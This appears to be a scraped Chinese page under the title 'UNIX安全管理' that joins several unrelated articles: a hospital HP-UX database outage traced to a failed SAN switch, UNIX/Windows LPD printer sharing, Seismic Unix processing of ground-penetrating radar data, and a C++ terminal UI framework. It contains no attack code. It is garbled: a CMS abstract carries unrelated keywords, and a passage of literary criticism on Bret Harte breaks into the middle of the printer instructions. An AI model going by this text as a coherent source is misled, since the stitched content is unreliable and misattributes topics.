摘要:CMS网站内容管理系统是对网站内容进行管理的重要信息系统。以分析CMS的信息管理流程为例, 阐述了如何基于Unix平台开发B/S模式的信息管理系统, 其中涉及Unix系统选择、网络服务器配置、JSP设计、数据库设计及系统维护过程。该系统的开发, 为网站管理员提供友好接口, 有效提高了网站内容管理的工作效率。

关键词:Unix,Hacker,文化

参考文献

[1]Raymond.The Art Of Unix Programming[M].Pearson Educa-tion, 2004.

[2]Peter H.Salus.A quarter century of UNIX[M].Addison-Wes-ley Pub.Co., 1994.

UNIX安全管理 第7篇

1 故障现象

2010年12月23日晚21:30, 医院信息系统用户陆续向网络中心值班人员报告无法使用信息系统, 值班人员查看错误代码, 初步判定为信息系统核心数据库故障, 数据库已经挂起, 各用户无法正常连接使用。值班人员采用正常情况下的数据库访问地址远程登录服务器方式进行故障定位, 无法登录服务器。由于HP小型机在安装时配置了内部网卡地址、MP管理地址、数据库访问地址, 使用PING命令分别对3个地址进行连接, 发现服务器内部网卡地址和MP管理地址能够访问, 但数据库地址仍无法访问。使用服务器内部网卡地址通过远程连接到小型机上查看数据库状态, 数据库为挂起状态, 已无法提供数据访问服务。

2 故障检测

(1) 检查硬件环境, 判断是否存在硬件故障。查看小型机的面板指示灯, 发现网络连接标识指示灯由绿色变为红色示警灯。继续查看, 发现小型机背板网络接口指示灯异常。沿着存储线路继续查询SAN (storage area network) 存储交换机状态, 发现一台SAN交换机没有电源指示, 各模块指示灯熄灭。对该交换机进行了重新加电操作, 依然没有反应, 使用万用表进行测试, 发现插头处电压为219 V, 交换机上没有指示灯供电显示, 便判定系SAN交换机电源故障导致交换机无法提供正常数据交换服务, 存在硬件故障。

(2) 软件故障检测:由于该信息系统采用如图1的存储结构方式进行工作, 所以当SAN存储交换机发生故障时, 从小型机服务器到存储设备的线路发生中断, 由于小型机操作系统安装在自身所带硬盘上, 而信息系统数据库安装在存储设备上, 当线路出现故障时, 存储设备丢失, 该数据库所在卷组会自动卸载, 导致数据库挂起, 从而使用户无法使用数据库。

3 故障处理

3.1 步骤一

设备替代法:拟采用另外一台SAN交换机重新搭建存储线路。由于Unix系统在分配卷时需结合交换机domainID、zone号、端口号等硬件信息, 因此只有完全和原有信息一致才能生成一样的磁盘ID[1]。但由于能够寻找到的替代交换机为8端口, 端口数少于在用交换机的16口, 且SAN交换机需要购买License才能激活端口进行使用, 无法及时完成替代, 采用此方案重组存储线路失败。

3.2 步骤二

端口替代法:分析该存储环境发现, 虽然该环境采用双交换机双线路连接到存储设备中, 但由于操作系统 (版本原因 (HP-UNIX11.23) ) 不支持多路径管理, 实际上只有一条存储线路有效, 而发生故障的线路恰好为在用线路, 导致数据库挂起。排除故障必须修复损坏线路, 因此将已损坏的交换机中的连接光纤转接到SAN交换机2上相应的ZONE接口, 手动将备用线路切换为在用线路, 物理上重新建立起了存储架构。采用ioscan重新发现服务器上磁盘, 可以发现磁盘但其路径发生变化, 与原有设置不符, 数据库依然无法正常启动。经检查, 发现HP-UNIX11.31以下版本均存在此现象, 只有高于此版本的操作系统用此方法磁盘路径才不会发生变化。

3.3 步骤三

软件设置法:查看小型机备份的配置表, 发现数据库用到了4组磁盘, 对比参数发现, 原有磁盘为c3d0t0、c3d0t1、c3d0t2、c3d0t3, 线路变化后变为c7d0s0、c7d0s1、c7d0s2、c7d0s3。尝试使用ln通过做软连接[2]到Oracle的设备名上。

使用Oracle命令尝试启动数据库[1]:/sbin/init.d/init.crs start, 数据正常启动, 故障排除。

4 讨论

在Unix操作系统中, 链接是一种在共享文件和访问它的用户的若干目录项之间建立联系的方法。它可分为2种:硬链接 (hard link) 和软链接 (symbolic link) 。软链接就好像是指针一样, 而硬链接就是引用, 当所引用的路径发生变化时硬连接就失效了。软链接克服了硬链接的不足, 没有任何文件系统的限制, 任何用户均可以创建指向目录的符号链接, 且可重新指向, 还具有较硬连接更大的灵活性, 因而得到广泛的使用。本案例中通过软链接改变原有磁盘指向, 进而排除了故障[2]。

从图1存储结构图中也可以看出整个系统只有一台存储设备, 存在单点故障。当该存储设备发生故障后, 将导致整个系统瘫痪, 另外, 目前服务器采用的为HP-UNIX11.23, 由于操作系统层面不支持多路径管理, 会因为线路故障导致系统崩溃, 需要另外购置多路径管理软件, 降低线路故障的风险。对于医院信息系统, 数据库服务器和存储设备为整个系统的核心, 设备冗余备份将是保障系统安全稳定运行的有力保障。

参考文献

[1]文平.Oracle大型数据库系统在AIX/UNIX上的实战详解[M].北京:电子工业出版社, 2009.

UNIX安全管理 第8篇

在UNIX和Windows NT中的TCP/IP支持产品都提供了TCP/IP打印的功能, 即UNIX可以共享Windows NT的打印机, Windows NT也可以共享UNIX的打印机, UNIX之间也可以相互共享打印机, 而Windows操作系统中的TCP/IP支持产品只提供Microsoft网络打印功能, 以实现Microsoft的各种操作系统之间的打印机共享。可以作为打印服务器的系统可以是UNIX或者Windows NT, 其他操作系统作为其客户端。Windows客户端在使用共享打印机时, 先以Microsoft网络打印服务与支持TCP/IP打印的Window NT共享打印机 (作为Windows NT的打印客户端) , 再与其他打印服务器相连。就UNIX操作系统而言, 要支持TCP/IP打印功能, 其服务器和客户端的UNIX操作系统必须启动守护进程lpd;而对于Windows NT来说, 要支持TCP/IP打印功能, 必须启动“TCP/IP打印服务”, 它类似于UNIX中的守护进程。

1 windows NT与UNIX系统之间实现共享

按由UNIX作打印服务器和Windows NT作打印服务器两种情况分别予以说明。为了简便, 假定已经按TCP/IP协议建立了计算机网络, 网络中有三个节点。

节点一, 操作系统为UNIX, IP地址是10.29.36.1, 主机名是node1;节点二, 操作系统是UNIX, IP地址是10.29.36.2, 主机名是node2;节点三, 操作系统是Windows NT, IP地址是10.29.36.3, 主机名是node3;上述节点的子网掩码 (netmask) 都是255.255.255.0。

配置网络打印机前的准备:

(1) 在UNIX操作系统下安装TCP/IP产品, 配置TCP/IP网络, 分配IP地址, 指定子网掩码。

(2) 在Windows NT操作系统下安装TCP/IP产品, 配置TCP/IP网络, 分配IP地址, 指定子网掩码。

(3) 用命令ping测试所有网络节点是否连

1.1 node1作为打印服务器, 其他两个节点作为客户端

1.1.1 打印服务器node1的配置

在UNIX中为node1配置本地普通打印机

(1) 以root用户注册, 执行命令mkdev lp (配置过程从略, 可以参见相关UNIX系统管理资料) 。

(2) 激活打印机以root用户注册, 执行命令enable mp和accept mp。

(3) 将打印机mp配置成可供客户端使用的打印机。

以root用户注册, 执行命令mkdev rlp#。

(4) 设定可以使用该打印机的客户机。

此项操作可以在文件/etc/hosts.equiv和/etc/hosts.lpd中配置, 由于文件/etc/hosts.equiv中配置的节点与本机是等价主机, 会增加许多额外的特权, 给系统带来不安全因素, 建议使用文件/etc/hosts.lpd配置网络节点。

1.1.2 客户端node2的配置

(1) 编辑网络主机名文件。

节点node2的文件/etc/hosts中应该对网络的主机名和IP地址对应关系予以说明。

(2) 配置客户端网络打印机mp。

以root用户登录, 执行命令mkdev rlp。

(3) 测试。

在节点node2中以任意用户注册, 输入命令l|lp。

在节点node1的打印机mp上应该出现相应内容, 或者在节点node1上以任意用户注册, 输入命令lpstat-t后, 应该出现node2所发打印命令产生的打印队列。

如果没有出现上述结果, 可以查看node2中的文件/usr/spool/lpd/status, 了解当前网络打印机的状态及打印不成功的原因。

1.1.3 客户端node3的配置

(1) 安装TCP/IP网络打印。

选择“开始;设置;控制面版;网络;服务;添加”。打开“选定网络服务”对话框, 从“网络服务”列表中选择“Microsoft TCP/IP打印”, 然后单击“确定”按钮。输入安装文件源路径。回到“网络”对话框后, 单击“关闭”按钮。安装完成后, 重新启动。

(2) 设置TCP/IP网络打印过程。

选择“开始;设置;打印机;添加打印机”。打开“打印机管理者”对话框后, 选择“我的电脑”, 然后单击“下一步”按钮。再打开“打印机端口配置”对话框后, 单击“添加端口”。然后“打印机端口”对话框后, 选择“LPR Port”。出现“添加LPR兼容打印机”对话框时, 在“提供lpd的服务器的名称或地址”处, 输入打印机服务器node1的IP地址“10.29.36.1”, 在“服务器上的打印机或打印队列名”处, 输入节点node1配置好的打印机名mp, 单击“确定”按钮回到前一个对话框, 单击“关闭”按钮回到“打印机端口配置”对话框后, 选择刚配置好的打印机端口, 单击“下一步”按钮。出现“打印机驱动程序选择”会话框后, 选择合适的打印机驱动程序, 再单击“下一步”按钮。出现“打印机名称”会话框后, 输入打印机名称 (任意) , 此处输入net, 然后单击“下一步”按钮。下面选择测试打印机, 以检测打印机的设置是否正常。如果配置正确, 将在节点node1的打印机mp上打印出测试页, 或者产生打印队列。单击“完成”按钮结束。

1.2 node3作为打印服务器, 其他两个节点作为客户端

1.2.1 打印服务器node3的配置

(1) 安装本地打印机mp。

选择“开始;设置;打印机;添加打印机”。出现“打印机管理者”对话框后, 选择“我的电脑”, 然后单击“下一步”按钮。出现“打印机端口配置”对话框后, 选择打印机所连接端口, 一般选择“LPT1”, 单击“下一步”按钮。出现“打印机驱动程序选择”会话框后, 选择合适的打印机驱动程序后, 单击“下一步”按钮。出现“打印机名称”会话框后, 输入打印机名称 (任意) , 此处输入mp, 然后单击“下一步”按钮。下面选择测试打印机, 以检测打印机的设置是否正常。如果配置正确, 将在本机的打印机mp上打印出测试页, 或者产生打印队列。单击“完成”按钮结束。

(2) 安装TCP/IP网络打印服务。

选择“开始;设置;控制面版;网络;服务;添加”。出现“选定网络服务”对话框时, 从“网络服务”列表中选择“Microsoft TCP/IP打印”, 然后单击“确定”按钮。输入安装文件源路径。回到“网络”对话框后, 单击“关闭”按钮。安装完成后, 重新启动。

(3) 启动TCP/IP网络打印服务。

选择“开始;设置;控制面版;服务;TCP/IP Print Server”, 然后单击“开始”按钮。

1.2.2 客户端node1、node2的配置

(1) 编辑网络主机名文件。

本机的文件/etc/hosts中应该对网络的主机名和IP地址对应关系予以说明。

(2) 配置客户端网络打印机mp。

以root用户注册, 执行命令mkdev rlp。

(3) 测试。

在节点node1、node2中以任意用户注册, 输入命令l|lp。

在节点node3的打印机mp上应该出现相应内容, 或者在节点node3的打印机队列管理上, 应该出现node1、node2所发打印命令产生的打印队列。

2 Windows XP与UNIX系统之间实现共享

实现Windows XP与UNIX系统之间共享打印机的具体步骤如下。

第一步:在XP中删除旧的TCP/IP远程打印机设置。 (下转299页) 把我的恶棍人物写得恶贯满盈, 我可以使他们无法做出善举, 因此就可以避免因动机和品质的好坏混杂而引起道德上的混乱。但是我还是要对创造这些人物负责任我不怕这么做。”而写“真实”正是现实主义作家都竭力主张的, 力求讲真理, 只反映真景真事, 并描述自己所生活的环境。主张既不夸张, 也不隐讳地描写生活。

其次, 哈特还用他特有的哈特式的幽默揭露了美国社会黑暗的一面。《咆哮营的幸运儿》中, 有一件事引起咆哮营一阵骚乱, 这件事不是“一场格斗, 因为在1850年格斗并不稀奇”。因为以前“法国佬和夏威夷佬在酒吧旁互相枪击致死那天, 赌鬼们还镇定自若的赌下去。”而是由一个新生儿降生所引起的。这一件再普通不过的事在当时与格斗, 枪杀比起来却是一件新鲜事。《扑克滩的放逐人》里, 那些人之所以被放逐是“一个秘密委员会已经决定把镇上所有不正派的人都除掉”。对于赌徒奥克赫斯特“委员会有几个主张绞死他, 以 (上接81页) (1) 依次点开“开始”“设置”打印机和传真”。

(2) 删除旧的TCP/IP远程打印机设置。如果不做这一步可能造成系统的冲突。

第二步:进行UNIX组件的安装。

(1) 依次点开“开始”“设置”“控制面板”。

(2) 打开“网络连接”文件夹。

(3) 在“高级 (N) ”菜单中, 选择“可选网络组件”。

(4) 在“WINDOWS可选的网络组件向导”对话框中勾取“其它网络文件和打印服务”选项, 然后进行“下一步”安装“UNIX打印服务”。根据提示放入Windows XP CD光盘进行安装。安装完后可点击“详细信息”查询一下是否安装完成。

第三步:添加远程打印机。

(1) 依次打开“开始”“设置”“打印机和传真”, 启动“添加打印机”。

(2) 在“本地或网络打印机”对话框中, 选取“连接到这台计算机的本地打印机”, 并取消“自动检测并安装我的即插即用打印机”选项, 进行下一步。

(3) 在“选择选择机端口”对话框中选取“创建新端口”, 再选取“LPR PORT”选项, 进行下一步。

(4) 在“添加LPR兼容的打印机”对话框中, 依次输入“提供LPD服务器的名称或地址”, 如:192.168.100.1。“服务器上的打印机名称或打印队列名称”, 如:UXEP。这一点需根据UNIX网络中的LPD打印服务器上的相关信息进行设置。确认后将产生一个虚拟端口, 它指向提供lpd的打印服务器上的打印机。

(5) 选中这个端口, 然后选择打印机厂商和型号, 输入当前配置的网络打印机的名字 (如上述UXEP) , 系统将把相应的打印机驱动程序分配给这个端口。设置打印机为不共享。最后打印测试页检测完成即可。

UNIX安全管理 第9篇

地质雷达 (Ground Penetmting Radar) 是用高频无线电波来确定介质内部物质分布规律的一种地球物理方法[1]。随着地质雷达技术的发展, 国民经济建设的需求, 在各项工程施工过程中, 越来越需要地质雷达的参与, 利用其无损、便捷、快速等一系列优点进行工程勘察和工程检测, 另外随着人类生存环境逐渐变得恶劣, 地质灾害频发, 地质雷达在地质灾害评价中的应用也具有广阔前景[2,3,4]。

目前对雷达数据的处理一般使用购进仪器时自带的软件或者另外购买的商业软件, 处理效果一般情况下可以满足工程需要要, , 但是由于商业软件采用的都是固化的模块, 实现过程是不可见的, 用户也难以完成软件设计之外的工作, 而Seismic Unix软件开发应用相对较为成熟, 在普通的课程教学和工程应用中都可以满足需要, 通过对SU自带数据的处理和工程实例的处理分析, 可以看出该软件具备较好的应用市场和前景, 通过解译分析满足用户需求。

1 Seismic Unix说明

Seismic Unix缩写为SU, 表示CWP/SU:Seismic Unix, 为美国科罗拉多矿业学院开发的处理程序软件, 部分以斯坦福大学勘探项目为基础, 虽然名字为Seismic Unix, 但是既可以作为地震数据处理的平台, 也可以作为其他数据资料处理的环境, 例如地质雷达数据。

由于Seismic Unix从最初就是以开源为目的, 所以众多科研人员都加入了研发行列, 逐渐扩充软件, 随着不断更新和完善, 目前逐渐趋于成熟, 成为Unix系统下常用的处理工具。该软件可对输入数据进行转换和增益显示、数据编辑、变换和滤波、偏移处理及其他处理。

2 实例应用

通过选取典型剖面, 我们对上述不同处理方法进行针对性应用。

2.1 对自带数据处理

当在SU的命令行中敲入suplane|suxwigb, 便会出现一副图像, suplane为SU自带的数据, 如果我们将其分层, 设置分层时间和各层速度, 利用命令suttoz, 可以得到变换到深度域的数据, 再利用设置深度信息, 命令suztot, 我们可以得到反变换回来的时间数据, 当参数选取不合适时, 反变换回来的数据会有一定误差。

在原始数据中, 存在三个交错的同相轴, 如果希望对同相轴进行分离, 可以采用Radon变换, 变换后数据见图1a) , 可以看到原本在T—x域交叉的数据, 在Tau—p域被分离开来, 通过剔除对应的目标数据, 再反变换到T—x域, 即可以得到分离后的数据, 见图1b) , 可以看到倾度较大的一条同相轴已经较好的被剔除。

2.2 实际数据1

本次数据来源于湖南山区, 为进行岩溶探测所采集数据。探测采用的仪器主机为美国GSSI公司生产的SIR-20型地质雷达, 天线采用40 MHz的低频组合天线, 根据设计要求和现场地质情况, 最后选择以下采集参数以满足探测精度和深度要求:

时窗:450 ns;每秒扫描线:32根;每根扫描线采样数:1 024个;天线间距:3 m;叠加次数:16次。

由于采集时经过一条架空线路, 所以造成了明显的弧形干扰, 数据见图2。可以看到数据200 ns附近存在明显双曲线弧形绕射, 而且下部信息较弱, 需要进行资料处理, 以增强下部信息和消除弧形干扰。

对数据增益进行调节, 得到图3, 可以看到通过数据处理, 剖面下部信息得到明显加强, 突出了有效信息。

利用SU下的FK偏移, 选取合适的偏移参数, 可以得到偏移后剖面, 见图4。可以看到弧形干扰基本被有效压制, 由于偏移是对整个剖面做的, 所以不可避免产生一些虚假异常, 但是对整体基本影响不大。

2.3 实际数据2

该数据采集环境与使用仪器同实例1。

由于采集过程中, 经过一个长条状干扰体, 所以在数据下部形成明显的条带状干扰, 振幅能量较大, 相对抑制了有效反射波形, 图像见图5。数据采用地层电磁波速度为0.1 m/ns, 数据变换到深度域见图6, 可以看到相关深度信息。数据变换到FK域数据见图7, 可以看到能量振幅最大区域为干扰同相轴数据对应区域, 数据变换到Tau—p域数据见图8, 在图像左部, 与干扰同相轴时间位置一致对应几个振幅明显的能量区域, 这些就是干扰同相轴在Tau—p与变换得到的区域, 将这些能量团剔除然后反变换到T—x域便得到滤除条带状同相轴干扰的数据, 为数据的进一步处理做准备。

3 结语

Seismic Unix在实例中的应用效果较为明显, 可以满足工作需要。SU的特点是较为灵活, 可以自己编写代码, 添加到程序中去, 扩展程序功能, 如果公布到网络中, 能获得大家认可, 可以集中到软件的下一个版本, 实现开源共享。另外SU是免费的, 相对昂贵的商业软件, 使用经济方便, 能够为工程节省开支。

参考文献

[1]李大心.探地雷达方法与应用[M].北京:地质出版社, 1994.

[2]郭彬彬, 赵卫华, 王红才, 等.千灵山岩质边坡地质雷达探测及稳定性分析[J].地质力学学报, 2013, 19 (1) :104-110.

[3]王春辉, 查恩来, 田运涛, 等.低频地质雷达新技术在滑坡勘查中的试验研究[J].地球物理学进展, 2013, 28 (2) :1057-1063.

UNIX安全管理 第10篇

基于Unix/Linux下的C++开发工具很多, 如Anjuta、Glade、Kdevelop、Eclipse[1]、Kylix[2], 它们为Unix/Linux下的应用开发提供丰富的工具。但是, 构造一个基于终端字符模式, 方便移植的应用程序开发框架并不很多。中国具有广阔的终端用户, 基于传统终端模式的应用仍非常巨大, 如金融、保险、邮政等行业, 传统业务系统依然运行在终端模式。

大多数基于字符界面的交互式Unix/Linux应用程序中, 用户的界面元素操作以及程序内部的消息循环需要编程人员花费大量的时间并利用大量的case语句来分析用户该执行哪些操作, 另外, 为编写一个可用的交互式应用程序, 您可能必须掌握curses库[3]。设计一种面向对象的类库OUCL (Object Unix/Linux Class Library) , 封装Unix/Linux应用程序都必须执行的 (程序级和窗口级) 行为。OUCL用以简化Unix/Linux开发的手段有:

·一个一致、直观简捷的Unix/Linux应用程序接口。

·窗口、菜单、对话框信息的封装, 并提供许多类似Delphi或C#的控件。

·自动消息响应, 用于构造Unix/Linux应用程序的基本框架[4]。

程序员“继承”了这些功能, 所以他可以把主要精力放在应用程序的业务功能实现上。

2、OUCL类体系结构

OUCL设计了五个大类:应用程序TApplication类、窗口TWindow类、事件TEvent类、对话框TDialog类、控件TControl类, 并提供了一系列的交互式操作控件类如:TButton类等。OUCL类体系结构如图1所示:

3、OUCL类框架分析与设计

TObject类是整个应用程序编程框架的基类, 其他类都由它派生。如图2所示:

对话框是OUCL实现用户交互式界面操作、管理及业务处理最重要的构件之一, 以对话框为例来描述OUCL的架构设计, 以实现基于多态性的面向对象特征来设计应用程序编程框架。

基类TObject中有几个重要的虚函数:Show、Key Event、Get Class Name, 这些虚函数维护框架的基本结构。对话框TDialog类从TObject类继承, 重载了上面三个虚函数, 并在Show函数中实现对话框的外观及内部控件外观显示, 而Key Event函数则管理对话框中控件对象的事件处理。

控件TEdit从控件基类TControl中继承, 重载Show和Key Event函数, 实现各自控件的不同界面特征显示及键盘事件处理。而TDialog类中的Control List成员函数, 则管理着所有对话框中各控件对象的双向链表数据结构。

3.1 对话框上的控件对象管理

对话框是一个弹出式窗口, 它由TDialog派生的。对话框类中维护着一个TControl List类型的控件双向链表对象, 还维护着一个TEvent List类型的事件响应双向链表对象。用户对话框从TDialog类继承, 调用TDialog类成员函数Insert Control, 把控件对象插入到链表中, 由对话框集中管理。控件从TControl类派生, 其成员虚函数Key Event, 是每个控件对象的消息响应函数, 不同的控件有其键盘事件特征和方式, 每个控件类都重载TControl类的事件函数Key Event。它是基于多态性特征消息响应的基础。

3.2 对话框事件处理

OUCL中所有对象都重载基类的键盘事件成员函数Key Event, 用户重载Key Event函数, 以执行不同的对象按键处理, 达到事件封装及消息响应的一致性管理。

对话框处理充分利用面向对象的多态性特征, 构造对话框内控件管理的消息循环, 作为架构方, 调用控件的事件处理函数, 这个函数只有在运行时刻才知道到底哪个控件对象, 显然, 这是典型的“滞后联编”或者“后期编译”的特征。处理方式如图3所示:其中CurControl->Control->Key Event () 函数在架构时, 调用指向基类的成员事件函数, 而实际运行时, 根据传递控件对象的不同, 以执行不同控件的键盘事件函数, 这是多态性处理最重要的应用特征。

3.3 消息响应类型

OUCL为每个控件预置了3种基本事件类型:OnChange事件、On Enter事件、On Exit事件, 以允许绑定多个事件如得到焦点事件、失去焦点事件、修改事件 (如TEdit控件) 到对应的控件上, 允许用户对某个控件指定多种类型的事件与之对应。设计对话框级的On Key Press事件、回车键的On Key Press Enter事件, 以允许定义某些热键到指定的事件响应函数;设计对话框内唯一的全局On Key Down事件, 由用户自己跟踪热键并分别做出事件响应处理。

OUCL提供3种消息响应类型来解决事件消息响应机制。一种采用虚函数多态特征实现消息响应, 一种采用多事件类型的消息响应机制, 一种采用对象绑定消息响应机制。

3.4 自动消息响应方式

OUCL支持2种消息响应方式, 一种是对话框级的消息响应, 一种是控件级的消息响应。控件级的消息响应允许编程人员更精确更丰富的事件响应, 以满足业务的需要。

1、对话框级的消息响应

对话框级的消息响应是在对话框TDialog类中的Key Event消息循环处理函数中处理, 它是一种基于多态性特征的消息响应方式, 通过内置调用消息响应虚函数Press Enter Event以获得架构式的消息处理, 程序员重载该函数, 以执行用户自定义消息处理。也可以获得控件绑定的消息响应函数指针Key Event Function, 以执行指针函数的方式获得事件函数响应。对于无控件的热键消息响应, 系统内置On Key Press Event消息响应函数, 通过判断事件类型及热键定义的组合比较以确定哪个事件的响应。

2、控件级的消息响应

控件级的消息响应方式是在派生于TControl类的各控件类中的事件处理函数中进行的。当控件获得焦点时, 自动触发On Enter Event事件, 失去焦点时, 自动触发On Exit Event事件。通过获取父对话框Parent对象以获取对话框所管理的控件事件链表, 通过控件对象和事件类型匹配遍历, 以获得对应的用户自定义事件的响应, 如图4所示:

4、结束语

构造一个面向对象的基于多态性特征的应用程序编程框架, 用户可以不必关心应用程序本身的界面处理, 而只是处理按下回车键或者其他键盘事件后的业务处理, 规范了团队协作开发的程序行为, 降低公司软件开发的风险。OUCL经过10年的测试和完善, 在大量的应用系统开发中, 以及在中国人民银行电子联行天地对接系统、城市资金实时清算系统、帐户管理系统、福建兴业银行长沙分行湘图卡系统、邮政保险系统等多个行业应用中得到检验, 能极大地提高开发效率, 维护方便, 达到快速开发的目的。

摘要:本文分析Unix/Linux下C++应用程序开发框架特征, 对Object Unix/Linux Class Library (OUCL) 产品的类框架及消息响应方式进行描述, 并分析OUCL类体系结构及类设计图, 设计一种基于多态性特征的应用程序编程框架, 以满足终端字符界面下的快速应用开发框架。

关键词:Linux,C++,OUCL,对话框,消息响应

参考文献

[1]Linux开发环境必备十大开发工具[EB/OL].http://www.ex-amda.com/linux/fudao/20090326/095025446.html.

[2]天极网.Linux的开发利器, Kylix[EB/OL].http://www.yesky.com/297/193297.shtml.

[3]林风人.SCO Unix环境下面向对象的程序设计[EB/OL].http://www.oucl.net/oucl_doc.htm.

UNIX安全管理

UNIX安全管理(精选10篇)UNIX安全管理 第1篇关键词:UNIX系统,安全隐患,漏洞,攻击1 引言UNIX是一个技术成熟、功能强大和结构复杂的商用...
点击下载文档文档内容为doc格式

声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。如若本站内容侵犯了原著者的合法权益,可联系本站删除。

确认删除?
回到顶部